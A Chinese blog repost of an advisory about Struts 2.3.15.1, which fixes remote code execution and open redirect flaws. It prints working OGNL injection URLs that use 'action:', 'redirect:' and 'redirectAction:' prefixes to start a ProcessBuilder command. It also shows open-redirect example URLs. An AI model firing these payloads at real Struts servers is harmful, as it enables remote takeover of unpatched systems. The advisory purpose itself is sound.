Struts2重要漏洞

最新推荐文章于 2022-09-27 22:26:11 发布

iteye_1760

最新推荐文章于 2022-09-27 22:26:11 发布

阅读量162

点赞数

CC 4.0 BY-SA版权

分类专栏： struts2 文章标签： Struts Apache SSH Java 框架

本文链接：https://blog.youkuaiyun.com/iteye_1760/article/details/82521328

struts2 专栏收录该内容

9 篇文章

订阅专栏

转载： Struts2被曝重要漏洞，波及全系版本

Apache Struts团队6月底发布了Struts 2.3.15版本，由于该版本被发现存在重要的安全漏洞，因此该团队今天发布了Struts 2.3.15.1安全更新版本。

该版本修复的主要安全漏洞如下：

1. 通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀，以实现远程代码执行，如下：

      代码  
    
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}  
  
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}  
  
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

2. 通过在参数前面加上“redirect:”/“redirectAction:”前缀，以实现开放式重定向，如下：

      代码  
    
http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/  
  
http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23  